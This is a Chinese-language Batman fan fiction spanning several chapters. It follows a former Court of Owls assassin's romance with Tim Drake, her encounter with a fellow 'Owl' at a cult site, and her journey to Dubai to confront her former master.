“是干净衣服，我只是忘了整理。”提姆拿起衣服随手卷了卷丢进了衣柜，算不上便宜的衣服不管是西装衬衫还是平日里少年常穿的卫衣牛仔裤都被卷成一团丢在一起。 好不容易找到坐的地方的索菲亚选定了一块区域坐了下来，继续支着脑袋看提姆凌晨三点尝试整理房间，并且因为技能点点歪的原因，在堆满了衣柜后企图继续往里塞衣服的行为终于遭到了报应，只能眼睁睁看着那些衣服冲破柜门的阻拦落在了地面上。 “算了吧提姆，我不会嘲笑你的，至少你的房间没有解决完需求之后的纸团就已经很好了。” 放弃了挣扎的提姆眼睛一闭，几乎想要在衣服堆里安睡下去，还是实在看不下去的索菲亚把少年刨了出来。 能够跟在蝙蝠侠屁股后面一晚单刷哥谭的两个年轻人，此刻面对整理家务的工作显得格外束手无措，比在夜巡路上刚将谜语人捉拿归案后就遇到了搞到更强力药水的贝恩，而远处还有随时打算用电车难题来给予蝙蝠侠人性上的攻击的小丑虎视眈眈还要让人绝望。 于是两个人一起半躺在少年刚刚被太阳晒过的还带着螨虫尸体味道的床单上，开始隔着被子对视。 “好久没见到你了，我都想亲你了。” 索菲亚一骨碌爬了起来，挪到了提姆那边，对着少年的耳朵吹气。 “你没有想我吗？” 提姆的眼睛里泛起笑意，即使在黑夜之中索菲亚也能听到对方因为愉悦而略微加快的呼吸声。 “提摩西啊提摩西提你为什么叫做提摩西，否认你的父亲，抛弃你的姓名吧，也许你不愿意这样做，那么只要你宣誓做我的爱人，我也不愿再做索菲亚了。” 去网上认认真真查了提姆那时说出的话语，晚了几个月之后终于对上脑回路的索菲亚背出了接下来的台词。 女孩说话的声音不大，和呼吸声一起顺着耳道钻进了少年的大脑中，让人有些发痒，一种突然出现的躁动顺着血液流动被传递到身体各处，连带着少年的呼吸也有些紧促，仿佛完全忘记了导师的教导。 提姆能够听清自己的心跳声，同样也能听到来自索菲亚的心跳也因为封闭房间内的气氛一起加快，近在咫尺的呼吸声愈发粗重，直到那双猫一样狡黠的眼睛被少年所捕获，主人柔软的唇瓣才一同被采撷。 舌尖轻扫过柔软的唇瓣，随后在通过嘴唇微张留下的空隙，少年的舌尖进入了极度隐私的无人之地。来之前索菲亚大概吃了扎塔娜给的糖，草莓香精的味道和少女的津液相融合，让香甜的滋味充实了整个口腔，让少年一贯清醒的大脑愈发沉醉其中。 提姆的手顺着少女的脊背一路向上，最终停留在脑后，将索菲亚和自己贴合的更加紧密，直到留不出哪怕一丝的缝隙，另一只手则顺着战术手套的缝隙钻了进去，脱去了那只足够狰狞的带着利爪的手套。 手指穿过指缝十指相扣，在换气的间隙提姆将嘴唇贴上少女潮湿的带着汗液的手，从指尖到手背都被印下足够细密的轻吻。 “我们是不是得发生点什么？” 索菲亚挣扎着爬了起来，但右手还被少年所挟持，牢牢的扣在一起。 因为时间足够长的几乎没有换气的吻，索菲亚的胸口正在剧烈的起伏，但这不影响索菲亚对着提姆胡说八道。 “你知道的就是那种经典美剧，大家两眼一对就跟连上蓝牙一样，然后进行一阵激烈的运动。” 提姆也坐了起来，用空闲的那只手轻抚过少女已经出汗的带着光泽的脸颊。 “自由搏击吗？” 故意递上错误答案的少年眯着眼睛，又递上一个拥抱，原先整齐的发丝此刻正凌乱的遮住了那对眉眼，索菲亚一边扒拉提姆额前的头发，一边像是哄小孩一样轻拍少年的脊背。 “好了好了快睡吧，我还得回家呢。” “不能留下来吗？亲爱的。”提姆的脑袋在索菲亚的颈窝蹭了蹭，毛绒绒的脑袋蹭的人只觉得有些痒，只是不知道是哪里在痒。 “你妈妈明天开门发现你和不认识的女孩睡在一起肯定会尖叫，那个时候布鲁斯又要罪加一条了。” “那你可以晚点再走吗？就当是为了我。” 提姆从小就知道自己有一副好皮相，自然知道什么样的角度能够摆出足够让人怜惜的神情，如今在索菲亚面前只需刻意调整角度就能将自己最完美的那一面展现出来。 “当然——” 索菲亚话没说完，两人又抱在一起在一片寂静的只有电脑还在运作的房间里，分享对方的体温和满是感情的吻。 第82章 少了人手夜巡, 索菲亚只能放弃和斯蒂芬妮组队的行动模式，自告奋勇去处理有关之前邪教献祭的破事，这么想来哥谭这座城市真是人才辈出, 几个月里竟然能看到两个不同的邪教组织一起玩献祭，也不怕真的召唤出什么奇怪的东西来成为恐怖片里最恐怖的开场片段。 蝙蝠侠在上，希望有一天哥谭不会变成像林中小屋、寂静岭、伊甸湖、浣熊市一样的挂满了惊悚、恐怖、悬疑标签的经典地名。 索菲亚重新回到了已经被GCPD封锁的地下室, 一回生二回熟, 第二次再来调查的猎魔人像是回家了一样，只针对那些出现的奇怪图案进行调查，并通过后台随时待命的临时后勤提姆来进行数据比对确认这个邪教所信奉的神明，以及后续可能会出现的结果。 为了以防万一, 索菲亚的口袋里还揣着笔记, 随时打算翻到标志那一页开始现场进行比对。 经过专业魔法师扎塔娜的指点后, 索菲亚已经能够做到使用魔法但不额外浪费魔力的程度，比如之前那个勉强能当探照灯用的荧光魔法此刻范围变大到爆闪手电筒的程度，就算是突然蹦出来一只吸血鬼也得被刺眼的光线伤害到捂着眼睛尖叫逃走。 能见范围扩大后, 那些原先被忽视的痕迹格外显眼, 但大多数都是些没有意义的磨损痕迹, 譬如流水和偶尔透过铁门吹进来的风沙，以及来来往往的人群行走时留下的痕迹。 这个略嫌贫瘠的据点使用频率算不上高, 至少地面上残留有的血迹还可以通过化学手段清除, 而不是以其他形式永久的和地面融为一体, 成为新的哥谭teenager探险打卡的哥谭神秘传说之恐怖地下室。 只可惜走廊上没什么和神秘学、宗教学相关的特殊符号, 一路走到尽头见到那个祭坛，那些看起来就格外邪门的符号才表现出足够的存在感。 索菲亚是对空间没什么概念的人, 之前和扎塔娜斯蒂芬妮一起救那些被拐卖的孩子离开的时候, 只记住了那些泪水和血迹以及那个算不上好看的六芒星, 如今故地重游在提姆的解释下才对这座祭坛的大小有个大概的理解。 被当作祭坛的空地的面积在500平米左右，和一个标准篮球场的大小差不多大，只是那天在场的除去十六个孩子以外，还有接近二十个邪教成员以及索菲亚三人，接近四十个人的情况下把这片区域衬托得小了很多，以及那群邪教信徒还自带了不少纪念品来填充空地，显得这片区域更加的逼仄。 如今杂物已经都被清除，而那个六芒星还留在地上，索菲亚蹲了下来放大了瞳孔，看了两分钟确认了这个看起来唬人的红色大标志其实是用油漆刷出来的。 六芒星不必多说，在美国的宗教环境下还是代表了以反基督为前提的撒旦教，但其他的图案则过分复杂，仔细辨别后索菲亚甚至认出了飞天意面神教的图案，上面圆球状的肉丸在一众牛鬼蛇神的怪异标志中显得格格不入。 唯一让人在意的可能是有一个猫头鹰一样的图案。 放在以前，过分应激的索菲亚可能下意识会把这个图案和自己最熟悉的猫头鹰扯上关系，被吓得毛茸茸的离开打算跑路，但在哥谭呆久了想起猫头鹰索菲亚的脑子里只有那些锒铛入狱的法庭成员。 所以这是什么法庭余孽企图做法诅咒蝙蝠侠重现法庭荣光吗？ 那么这个教派到底信仰了谁？DC编辑部吗？ 索菲亚满是无语还能顺便和频道那头在家里对着电脑的提姆吐槽些无关紧要的话，几乎将整个区域调查完全的猎魔人突然感受到了微弱的魔力残留，顺着痕迹走去就在隐蔽处看到了一个与众不同的真正用鲜血反复画出的图案。 那是蝙蝠的图案。 与索菲亚熟悉的蝙蝠侠喜欢的有一定棱角，足够尖锐理性的蝙蝠标志不同，这个标志则透露出野性和侵略性，着重强调了厚实的皮毛，狰狞的獠牙，尖锐的利爪，以及无论如何都能够感觉到被注视的双眼。 与此同时，索菲亚听到了陌生而又熟悉的脚步声。 那是刻意展现出来的通过一定的节奏来向人施加压力的脚步，对方的战术靴甚至设置了一定的鞋跟，加强了鞋面和地面接触时发出的响声，那道声音随着距离的拉近越来越大，而索菲亚没有听到哪怕一丝活人会有的呼吸声。 是利爪吗？ 不可能，林肯还在阿卡姆坐牢，据说他的心理医生提交的报告里这个男人最近的梦想是去法国卖防晒油，目前老老实实的在阿卡姆的病房里将精畜锐。 其他的利爪大多在失去能力的边缘徘徊，一旦离开维持冷冻状态的冷冻舱，就只有死亡这一个结局。 可目前熟悉的脚步，不需要呼吸，刻意展现出的施压技巧，索菲亚不愿意说出那个从听到声音起就从内心跳出来的答案，可是事实正随着脚步一起将好不容易从鸟笼里爬出来的猫头鹰逼进了死角。 “是你。” 那不是索菲亚记忆里属于阿尔伯特的声音，这恐怕是唯一的好消息，但那道仿佛嗓子从未被使用过之后极度难听的声音却无法摆脱和那只大猫头鹰的关系。 索菲亚抬头，看熟悉的几乎一模一样的金色竖瞳的眼睛对上视线，将紧张和应激的情绪全都咬牙咽了下去，翻出来过去无数次应对猫头鹰的手段。 “好久不见。” “大人一直在等你，索菲亚。” 来人带着同样是猫头鹰样式但和法庭内部流传的样式完全不同的面具，黑色的将上半张脸完全挡住的面具在黑夜中倒像只真正的猫头鹰一样，金色的瞳孔快速扫视一圈重新落回到索菲亚身上。 “他在哥谭有安排吗？” “猫头鹰法庭的覆灭之后，牧首大人在哥谭的布局暂时结束了。” 索菲亚隐约猜到了自己沦落到猫头鹰法庭大概率是因为阿尔伯特那个不靠谱的家伙，但没想到那个背地里忽悠法庭提取琥珀金从而报废了那么多利爪的馊主意也是阿尔伯特出的，而现在对方身边甚至还有当年的猫头鹰刺客为之效忠，那他的目的是什么？ 把自己混成超级大反派然后被蝙蝠侠打败吗？ 那下一步呢？ 进入阿卡姆和小丑双面人企鹅人争夺蝙蝠侠最大宿敌的头衔吗？ 高大木讷的猫头鹰没有继续说话，只是在许久之后才提出了疑问。 “你打算什么时候回到牧首大人身边，他需要你。” “他想见我吗？” 索菲亚无视了那头来自爱人的关心，关掉了通讯系统，以防止两人的对话被听到。 如果蝙蝠侠在，索菲亚和蝙蝠侠一起或许还能将猫头鹰束缚起来防止其通风报信，从而被闻着味赶来的阿尔伯特用各种手段折磨。 但只有索菲亚一个人，要面对比自己战斗经验更丰富，手上沾染的鲜血更多，以及在投靠猫头鹰之前声名狼藉的刽子手的猫头鹰实在不是什么明智之举。 至少在索菲亚还认为自己足够特别的时候，那些阿尔伯特随意扔在地上的资料，年幼的女孩全都翻看过。 比如，阿尔伯特的资料大多都是些他自己瞎编的故事。 故事里有时他是神话里被选中的大英雄，提着圣剑斩妖除魔之后觉得正义没意思选择弃明投暗；有时候他又成了被狠心妻子抛弃后连唯一女儿也死了的悲情父亲，于是决定报复社会。 还有的时候他又成了生下来就要夺取人性命的恶魔之子，从骨子里就热爱毁灭一切；最离谱的那个版本，他自述自己是被丈夫抛弃的可怜女人，于是决定单手掏出自己的子宫甩在那男人的脸上以表示从此划清界限的决心。 后者的离谱程度连几乎没上过学的索菲亚的脑袋上都像是雨后争先恐后长出的蘑菇一样密集的问号，偏偏在一众对于猫头鹰首领盲目崇拜的猫头鹰里，竟然没有一个人察觉到有问题。 其他的猫头鹰的资料反而都是些真实的故事。 比如因为干旱土地绝收没有一点食物马上就要饿死的农民是猫头鹰6号；因为盗窃被扔进大牢即将被处以绞刑的猫头鹰17号；和情夫合谋杀死贵族丈夫后用匕首将情夫也一起送走的猫头鹰29号。 而眼前的这只，索菲亚很快在记忆里找到了所对应的资料。 是看起来木讷呆板的老好人实际上犯下了杀死自己妻女罪行的前铁匠，猫头鹰49号。 索菲亚见过49号杀人的样子，在几乎没有波澜的老好人的脸上没人能察觉出杀气，但也是这个男人最擅长将任务目标绑架后进行长时间的□□折磨。 没有那些花里胡哨的充分彰显出人类针对同类施虐智慧的刑具，49号杀人时只需要拳头。 沙包大的拳头能够敲碎人身上的每根骨头，也能够让一张张普通的脸上布满淤青，要是时间充裕这个男人甚至有耐心一点一点的将目标的内脏也隔着血肉敲碎，直到对方身上注入再多肾上腺素都无济于事，不甘的结束自己的生命，这场暴行才会停止。 据说早先时候，热衷于找乐子的阿尔伯特并不阻止猫头鹰之间的斗争，这也就导致大多数猫头鹰无论在何地都需要警惕来自同伴的攻击，而先前提到的6号就被49号的脸所迷惑，死在还是新人的49号手里。 只是在索菲亚加入的时候，序号在前30的猫头鹰基本因为各种原因死去，剩下来的只有加上索菲亚在内的不到二十只猫头鹰，阿尔伯特才不紧不慢的下达了关于禁止同类相残的命令。 刚进入审判庭就险些被看起来和蔼温柔的29号砍掉了脑袋的索菲亚脸上还挂着眼泪，在阿尔伯特脚边缩成一团，而那个美艳的毒蛇一样的女人也迎来了她的结局——她被失去了耐心的阿尔伯特砍去了手脚后埋进了沙子里，只露出头颅来，看着自己的主人抓着幼小猫头鹰的手砍下了那颗到死都无法闭上眼睛的脑袋。 在这件事之后，索菲亚喝下了药剂，和那些猫头鹰一样，成了阿尔伯特手下名正言顺的财产。 “他很想你，他把你看作是自己的女儿。”49号的脸上依旧没什么表情，但眼神却一直跟在索菲亚身上。 “我们在这里做什么？他想做什么？” “不要质疑他的决定索菲亚。” 索菲亚能听到提姆完全放缓的呼吸声，那道声音让人只能感受到平静和安宁，而不是一味的被恐惧支配，走上过去无数次都重蹈覆辙的错路。 “我需要做好收尾工作，蝙蝠侠盯上我了。” 49号的眼神里带着审视，但很快收回了视线，迟缓的点了点头。 “明天这个时间，我还会在这里。” 第83章 索菲亚有很多选择。 作为勉强和蝙蝠侠混了个脸熟的临时义警, 至少目前自己洗脱了可以随时被扭送至阿卡姆疯人院被捆在病床上接受电刑的犯罪嫌疑，也可以大大方方的进入蝙蝠洞和哥谭的义警一起行动。 这种情况下直接向蝙蝠侠求助无疑是最好的选择。 作为永远缺少安全感的哥谭义警，蝙蝠侠或许早就将猫头鹰所有的疑问都调查的过分清楚, 或许索菲亚目前在他的眼中已经完全了没有秘密，所以游荡在哥谭角落里的索菲亚才能够被邀请进入他的地盘。 就像猫头鹰法庭那时的事一样，他知道的远比索菲亚要多得多。 可这是不一样的。 索菲亚在内心告诉自己。 蝙蝠侠不是万能的, 他也会失败, 也会受伤，或许某个漫画编辑的突发奇想就会让这个英雄悄无声息的死在某个角落，她不能为了自己让一个英雄毫无防备的去和那些麻烦至极的敌人对抗。 索菲亚再清楚不过了，世界上最了解阿尔伯特的人, 只有自己。 爱德华是打败了邪恶猫头鹰的传奇猎魔人, 但这不代表他对于阿尔伯特就真的了如指掌, 那个狡猾的像是蝎子毒蛇一样肆意玩弄他人的精神和生命的家伙，像是在山林肆意放纵的山火，直到将一切生机全都燃烧殆尽, 但这并不意味着他的死亡, 他只是潜伏了起来, 等待某个契机再次回到这片土地带给人无尽的痛苦。 伊芙琳或许察觉到了什么，监护人有段时间收集了所有猫头鹰的情报, 结果却是一无所有。 蝙蝠侠或许从蛛丝马迹里找到了猫头鹰法庭背后受人操控, 但他知道阿尔伯特的所作所为吗？ 对于这个世界, 阿尔伯特是一个足够狡猾足够有耐心的猎人, 一旦有任何的风吹草动就或许会引来对方的报复和反扑，而见到49号的那刻起索菲亚就已经知道了后续的结果。 阿尔伯特知道, 她醒来了。 索菲亚愿意相信蝙蝠侠, 愿意把自己知道的所有有关阿尔伯特的事都告诉他, 让这位黑暗骑士能够将好不容易从泥潭里爬出来的猎魔人重新拉出来，但是现在必须有人去到猫头鹰身边为蝙蝠侠争取足够的时间，让他意识到这位对手的可怕，从而制定足够详细的反制计划，就像他无数次做到的那样。 斯蒂芬妮和提姆是索菲亚来到哥谭之后最好的朋友，也是最爱的人，但是将两个尚且年轻的生命拉入这场战斗实在太过残忍，见证了足够多无谓死亡的眼睛不愿意看到因为索菲亚的缘故让这两位可敬的朋友失去生命。 这是索菲亚自己的战斗，也是索菲亚不得不面对的战斗，只有战胜阿尔伯特克服心中的恐惧，索菲亚才能真正的向前行进。 索菲亚有很多选择？ 不，索菲亚只有一个选择。 将一切都思考清楚的猎魔人的大脑空前的冷静，根据频道内的交流情况，目前提姆还在德雷克庄园，斯蒂芬妮已经提前回家准备休息，芭芭拉被斯蒂芬妮顺路送回了家，而夜翼还在布鲁德海文。 这意味着，蝙蝠洞此刻只有两个人在。 “B我有事找你。”索菲亚打开了单独的通讯频道留下了讯息。 在得到肯定的答复后，索菲亚骑着机车进入到蝙蝠洞中，看到了正背对着自己处理案件后续调查的黑色背影。 “我有事要告诉你……” ———————————————————— 回到公寓的索菲亚难得没有走窗户，而是从楼道里拿钥匙开了门，就和几个月前她被中介带着进入这个公寓一样。 公寓内一片黑暗，电器的运作声在寂静的夜晚格外突出，而索菲亚的好朋友，金发的少女斯蒂芬妮已经关上了房门进入了深度睡眠。 索菲亚没有开灯，而是坐在布艺沙发上，抱着印有罗宾标志的抱枕开始重新将这间公寓刻印在脑海里。 这间公寓并非是索菲亚最喜欢的一间，布局普通的单层公寓带两个房间，客厅的位置算不上大但也勉强够用，房东在卧室提供的两张床都高得出奇，每次上床都得进行提前助跑，刚刚看到床的索菲亚已经开始担心会不会因为睡觉翻身动作太大从高处坠落摔成脑震荡。 于是刚搬进来的少女捏着打劫来的钞票，买回了这个公寓属于自己的第一件东西。 一件舒适，高度适中的单人床，而斯蒂芬妮房间里的那张床则是附赠的产物，但也没有失去舒适稳固的基本特征。 在那之后，索菲亚上学放学的路上无意间路过的跳蚤市场淘来的装饰，把这个家填满了许多，至少不像是刚刚搬进去居住的时候，像是个空荡的纸盒子。 挂在墙上的嫩黄色老式钟表上的指针还在兢兢业业的转动，一人高的冰箱里存放着明天要喝的牛奶和吐司，橱柜里的平底锅斯蒂芬妮拿来煎过几次牛排，旁边是还没来得及整理就被一股脑塞进去的膨化零食。 浴室里没拧紧的水龙头还在以缓慢的速度滴下水滴，一滴一滴地敲在陶瓷的洗手池内，和钟表的声音一起在这片公寓里回荡。 索菲亚看了很久，好像过去了十几年一样，但等到站起来去找便签的时候，抬头看表才发现竟然只过去了半个小时。 拿起随手放在冰箱旁边的铅笔在便签上留下几个圆滚滚的字母，索菲亚终于想好了暂时离别需要的措辞。 “有事处理，很快回来。” 正要贴在冰箱门上，又觉得这么说有些冷冰冰的，随后在单词后留下一个小小的爱心。 夜幕降临，蝙蝠车依旧带着轰隆隆的音效在街道驰骋而过，索菲亚依旧是作为猎魔人的打扮，戴着面具一个人站在高楼上看着跟在蝙蝠侠身后的搅局者在频道里叽叽喳喳。 提姆似乎被拉去了一场晚宴，据说德雷克夫妇想带他多进行社交活动来达成让他回归正常生活的目的，在参加宴会前少年发来一张自拍。 原先柔软的发丝被梳了上去用发胶固定露出额头来，蓝色的眼睛里满是被迫出门社交的无奈，还要在和人对上视线的时候表现出真诚认真的模样。 少年身上的青涩感逐渐褪去，青春期快速分泌的荷尔蒙增添了男性的吸引力和魅力，让来来往往的男男女女都忍不住将视线放在提姆的身上。 “来露台。” 少年的眼睛里一下迸发出喜悦，随后拿去洗手间的理由谢绝了接下来的社交请求，拨开人群找到了那个足够偏僻的露台，在露台的栏杆上正蹲着那个提姆再熟悉不过的背影。 “好久不见猎魔人小姐。” 索菲亚转过了身子，露出那张被多米诺面具覆盖的脸以及露出来的裸色的嘴唇，伸手就要揉乱提姆的脑袋。 “别闹，我的发型做了可久了，等会我可没办法和我爸妈解释上个洗手间脑袋乱得像鸟窝。” 话虽这么说，少年的脸上满是笑意，也没有阻止少女恶作剧的手，甚至主动将脑袋往那只微凉的掌心里凑。 “阿尔图，你还没做好和我私奔的打算吗？我们可以抛下一切，向着东方逃跑，古老的智慧会消弭你的气息，谁也抓不住我们。”索菲亚的瞳孔因为光线缓缓缩小，展现出野兽捕猎时一样兴奋的神态。 “所以你的苏游打出结局了吗？”提姆用手轻抚那张脸庞，在脸颊处印上一个吻。 “还差一点，我折卡都没折明白，帮我打嘛。” 索菲亚钻进少年的怀抱里给定制的西装外套上蹭的满是褶皱，还能对着解开了第二颗的衬衫露出的白皙颈侧吹气。 “还有我的老头环和血源诅咒，都帮我打，我还想拿通关记录截图发推特。” “还有呢？” 索菲亚看着那双蓝眼睛开始了思考，终于想起来这次来的目的。 “我有点事要处理，会离开一段时间，你不用来找我。” “二十四小时？” “这次情况特殊，二十四小时不够。”索菲亚将食指中指并拢举到耳边“B知道我这次行动，你放心。” “很麻烦吗？”少年眼神里的感情几乎拉丝，织成了一张大网将索菲亚完全缠绕其中，就连呼吸都逐渐变得的困难，但这种感受对索菲亚来讲不会有任何不适。 “一点点吧。”索菲亚沉思片刻给出了答案，随后开始蜻蜓点水一样在少年的脸上乱亲“可能有段时间我没法联系你，那个时候你不要着急，在哥谭等我就好了，我一定回来的。” “就像你的誓言一样，我发誓无论如何我都会为了你活着回来。” 两人干柴烈火一般激情几乎将空气都加热到令人燥热的程度，毫无章法的亲吻从脸颊到脖颈，直到原先舞池中央的舞曲变得平缓，索菲亚知道了到了离别的时候。 “我要走了，你快点回去，你爸妈还在等你呢。” “好。” 但少年没有一点离开的迹象，对着少女离开的身影招财猫一样挥了挥手，在随身携带的终端里看着熟悉的红点慢慢远去，这才回过神来对着玻璃整理自己。 索菲亚乘着夜风卡点到了那个熟悉的地下室所在的区域，只是刚刚选好落地的位置就听到了49号死尸一样低沉的声音。 “牧首大人很高兴你的回归孩子，他愿意宽恕你曾经背叛的罪过。” 索菲亚跳了下来正好落在49号面前，面对对方毫无感情的脸，抬起头便是如出一辙的机械一样的神情，伸出左手放在了心脏位置。 “感谢您的宽恕，牧首大人。” 第84章 索菲亚拿到了49号不知道从哪个犄角旮旯弄出来的□□, 质感上比自己那份漏洞百出的材料真了起码七八个档次，只是唯一不同的是来自于监护人的姓氏布兰登被改成了帕斯托雷。 在海关接受检查的时候，索菲亚抬眼看到了49号的签证里也使用了这个姓氏, 只是49号典型的斯拉夫人特征实在和这个意大利姓氏扯不上关系，最后才跟着眼神里都是怀疑的工作人员解释说索菲亚和49号都是被同一个父亲所收养的孩子。 年龄差几十岁的兄妹吗？ 索菲亚跟在49号身后，看着对方衬衫下摆还残留着的一点血迹移开了视线, 随时做好对方被当作恐怖分子按倒在地的时候自己能够及时求救, 和这种家伙划清界限。 只可惜美国海关没那么严格，轻轻松松就让两个身份存疑的恐怖分子轻松过关，甚至背着还带着武器的背包上了飞机。 先去纽约，紧接着从纽约出发前往迪拜, 再之后的路线就用不上飞机了, 经过接近20个小时的长途跋涉, 索菲亚的精神却出奇的好。 首先49号在交通上从不吝啬，几趟航班都是满配的公务舱，不管是休息还是饮食待遇都算上乘, 不至于让人坐在直挺挺的座椅上享受纯粹的坐牢体验。 其次, 航空公司提供的餐食还挺好吃, 抱着最后一顿断头饭不吃白不吃的原则，索菲亚把能够尝试的食物都试了个遍, 因为弥补年龄因素无法尝试喝酒的遗憾, 少女特地要了四五次可乐。 听起来很没出息, 但是半梦半醒的49号在乘务员的热心服务下喝了两大瓶威士忌。 看来没出息的猫头鹰不止索菲亚一个人。 在抵达迪拜之前, 索菲亚顺路将之前身上携带的可能会暴露信息的东西全都尽可能销毁掉了，手机卡被掰得粉碎扔进了卫生间马桶里, 手机里的信息和聊天记录也通过提姆远程操控的形式保证被销毁的再干净不过后, 手机被顺手塞进了一个即将被遣返回智利的非法移民的背包里。 直到确认对方彻底离开后, 索菲亚才在休息室突然发现被偷了手机，并拿着49号平静的眼神下拿着信用卡在免税店买了新的手机并借用男人的身份办了新的电话卡。 “所以牧首大人在的地方WiFi密码是多少？” 49号沉思了片刻，最后从口袋里掏出和他两米高体型相比显得过分迷你的手机，粗大的手指戳了半天才从备忘录里找到了一串数字。 “我以为大人不会装wifi。” “大人在等《好兆头》更新。” 索菲亚茫然的和突然时髦起来的同事对视了一眼，随后才努力从贫瘠的对话库里找到了应对的话术。 “我以为大人对流行文化的了解只有《蝙蝠侠》。” “黑暗金属之后他觉得无聊就没看过了，现在的话应该在看《怪奇物语》。” 和同事聊这种话题不亚于蝙蝠侠和小丑决战的时候突然聊起前一天晚上更新的《吊带袜天使》一样诡异，或者成年后和提姆水到渠成到了脱裤子进行不可描述的深入运动时，放抒情音乐却意外放出了《葬礼进行曲》后，想到黑暗骑士陨落的画面后在一起抱头痛哭的可怖场景。 49号没再说什么，而是装模做样的打开随身携带的笔记本电脑假装办公，但索菲亚看了半天也没看他打出一个完整的单词而是默默的打开了油管开始听爵士乐。 索菲亚实在不知道接什么话，最后决定继续打手机上的消消乐小游戏，力求在到达迪拜前打通800关。 直到飞机真的缓缓下降使得索菲亚可以透过窗户看到下方存在于陆地上完全由沙砾组成的海洋一样一望无际的沙漠，以及被沙漠所环绕的犹如皇冠上最明贵的珍宝还闪亮的城池。 索菲亚对于沙漠不算陌生，对于新生的猫头鹰来说沙漠是最简单不过的克服生存本能的试炼场地。 干旱，难以辨认方向，温差大以及随时可能会出现的难以对付的野生动物，过去的历史中无数人类再也无法离开这篇沙海，这里是天然的乱葬岗，甚至无需刻意处理就能让一个人悄无声息的消失在这个世界上。 但这些元素都不足以让喝下药剂的猫头鹰真正死去，只要能够克制住内心对于求生的本能，不被食物水源困倦所掌控，大多数时候沙漠并非是猫头鹰的埋骨之地，但若是为了求生而被恐惧支配，只要一脚踩进流沙之中且放任求生欲作祟不加思考的挣扎，那么就只能在沙地之□□验被活埋的痛苦。 并且药剂的作用会使得这位不合格的学徒不断地经历复活死亡的循环，再无数次死亡的轮回后只有药剂失效才能真正结束这份无尽的痛苦。 飞机缓缓下来，索菲亚还是跟在49号高大的身体后方，不紧不慢的取回了本就不多的行李，并且在裹着白色罩袍的当地人的簇拥下上了辆足够拉风的加长林肯，等待着进入49号约定好暂时停驻的地点—— 迪拜阿拉伯塔酒店，因为其独特的酷似帆船的造型又被称为帆船酒店，以金碧辉煌奢华无比而著称，虽然深处沙漠也足以和其他发达地区的豪华酒店一较高下。 帆船一样的建筑矗立在远离城市的人工岛上，56层超过300米的高度使得这所酒店无论身处迪拜何地都分外突出，吸引了每个在城市中来来往往人群的目光。 索菲亚正坐在后座上托腮看着越来越接近的建筑，而四十九号则用蹩脚的阿拉伯语和接机的几位当地人进行沟通，好在杀手的职业素养没让男人在实在讲不通话的时候尝试动手，而是打开了翻译软件重新输入了自己想说的话。 行李不是索菲亚需要考虑的事，她只需要下车跟在出门迎接脸上挂着模板化微笑的同样穿着罩袍的美丽女性身后，直接进入建筑就好。 听49号和人沟通，似乎阿尔伯特并不在迪拜，而男人暂时来这里停驻似乎是为了其他任务，按照索菲亚对于猫头鹰的了解，大概率是刺杀的任务。 如果是全盛时期，审判庭能够做到清空这所酒店，只放任务目标进入，等到对方完全失去戒心时，再出动不同部门的杀手一步一步的将猎物逼入绝境，对方意识到无路可走后想尝试死亡却发现深陷求死无路的绝望之中，被猫头鹰打扮的杀手一次次拉长死亡的倒计时，直到生命的结束。 索菲亚没有插手同事工作的爱好，毕竟49号又不会把拿到的报酬白白送过来，就干脆趁着有空趴在已经检查过没有监控监听系统的房间里开始糜烂而奢侈的生活。 早中晚下午茶夜宵，一天五顿索菲亚几乎就没落下过，甚至还跑去帆船酒店最出名的空中餐厅和海底餐厅在小提琴悠扬的演奏声中享受特制的地中海餐，虽然菜的分量还是一如既往的少还不够两口的量就结束了晚餐这件事让索菲亚颇为不满。 于是回到房间的索菲亚用客房服务叫了超大份烤肉串搭配鹰嘴豆泥和皮塔饼在临近海湾的露台吃到凌晨两点，直到听到预料之中的枪响声后才平静的进入浴室把自己冲洗干净后跳上了床，享受空气中都燃烧着金钱的过度奢侈的舒适感。 索菲亚在酒店呆了三天，也在夜晚听到了不同人的死讯，枪击，殴打致死，在浴缸中溺死，还有一个据说脚滑从三百米高楼掉下去摔成肉泥的倒霉蛋，如果对方没有利用庞氏骗局卷走超过十几亿美元企图逃走的前科就更好了。 过度的舒服就意味着不舒服的到来，只是索菲亚还在自欺欺人之中，不愿意面对迟早要到来的残酷现实。 于是在某天进入餐厅打算享用沙威玛作为早餐，甚至提前订了闹钟只为不错过任何一顿饭的索菲亚在踏出房间的第一刻起就就察觉到危险的降临。 突然出现的四面八方而来的被窥视的眼神，那种仅观察任务目标就能够造成极大压力的行为只是捕猎行动的第一步，就像恐怖片在危险来临前疯狂暗示的潜在镜头一样。 如果真的是一部恐怖电影，或许现在离开这个酒店或许还能逃离不幸的命运，但索菲亚已经清楚了现在的状况。 如此多的视线，证明猫头鹰已经近乎完全掌控了这所酒店，这个时候完全不管不顾的逃走听起来可行，实际上的成功率恐怕还没现在拿起手机在刚出完大保底的游戏一发出金的概率大，最好的选择还是装作若无其事然后直面阿尔伯特。 索菲亚比谁都清楚，今天的阵势只意味了一件事，阿尔伯特此刻绝对就在这所酒店里，并且亲自来欣赏猎物的挣扎时的丑态。 电梯上行时，完全镜面的轿厢将少女的身影完全映了出来，甚至比起镜子要更加清晰，好巧不巧的是索菲亚的脸正好在轿厢接缝处被金属所模糊，让少女无法看清自己此刻的哪怕一丝表情。 追魂索命一般的提示音响起，轿厢的门缓缓打开，索菲亚努力挪动步子，却只感受到犹如一秒内从平原被放置在连空气都无比稀薄的高原之上，呼吸无法自控的变得急促起来，耳边也充斥着犹如无数列车过境的轰鸣声。 而就在电梯之外，不过十来米距离的，透亮的几乎会被所有肉眼忽视的落地窗前，站着一个黑色的索菲亚无数次在梦中见到的身影。 脑子里还来不及将猫头鹰的形象找出来，索菲亚就已经重重的倒在了地上，膝盖在重击之下震得发痛，但上半身却仍旧僵硬着仿佛感受不到下半身的存在一般，而脑袋则本能一般自动低垂了下去。 即便如此已经在舒适生活中变得娇气的少女还是分不出一丝注意力在自己身上，一片空白的大脑里所有嘈杂的声音在此刻瞬间清零，那些反抗战斗都小打小闹全都化为乌有，随着剧烈的心跳声消失在空气之中。 在一片死寂之中，索菲亚终于看到了猫头鹰。 第85章 “什么叫你捡了个小孩？！” 刚刚在哥谭大舞台上闪亮登场不到三天的罗宾（斯蒂芬妮限定版）此刻正对着被蝙蝠侠的披风遮住脑袋, 仅仅露出蓝眼睛的亚裔女孩面面相觑。 而斯蒂芬妮的现任老板蝙蝠侠则在新任罗宾震惊的眼神里移开了视线，但还是任凭女孩拽着身后长长披风的一角。 “卡珊德拉的情况比较特殊。” 